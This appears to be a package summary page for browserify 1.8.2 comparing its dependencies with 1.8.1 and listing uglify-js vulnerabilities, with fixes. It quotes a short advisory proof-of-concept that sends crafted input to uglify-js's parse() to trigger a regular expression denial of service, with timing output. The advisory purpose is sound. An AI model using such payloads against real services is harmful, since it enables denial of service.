Browserify, a powerful tool for enabling require() statements in browser-side JavaScript, saw a release of version 1.8.2 on December 31, 2011, succeeding version 1.8.1 released on November 26, 2011. Both versions share the same core functionality: allowing developers to organize JavaScript code for the browser using familiar Node.js-style modules. This means you can use npm modules directly in your browser code, greatly expanding the range of libraries available for front-end development.
Examining the package data reveals no change in dependencies between the two versions. Both rely on the same versions of core modules like nub, deputy, resolve, optimist, commondir, detective, and coffee-script for their core workings. Likewise, the development dependencies, including testing frameworks like seq and tap, templating engine jade, and tools like dnode, jsdom, connect, hashish, backbone, traverse and jquery-browserify remain consistent. This indicates that the update from 1.8.1 to 1.8.2 likely involved bug fixes, performance improvements, or minor internal adjustments rather than significant feature additions or API changes.
For developers, this translates to a safe and potentially beneficial upgrade. While the changes may not be groundbreaking, migrating from 1.8.1 to 1.8.2 is unlikely to introduce breaking changes. The consistent dependencies suggest that the core behavior and usage patterns remain the same, making the transition smooth while potentially benefiting from under-the-hood enhancements. Developers seeking a reliable and robust browserify tool should consider using version 1.8.2 or later to have latest stable version benefits.
All the vulnerabilities related to the version 1.8.2 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.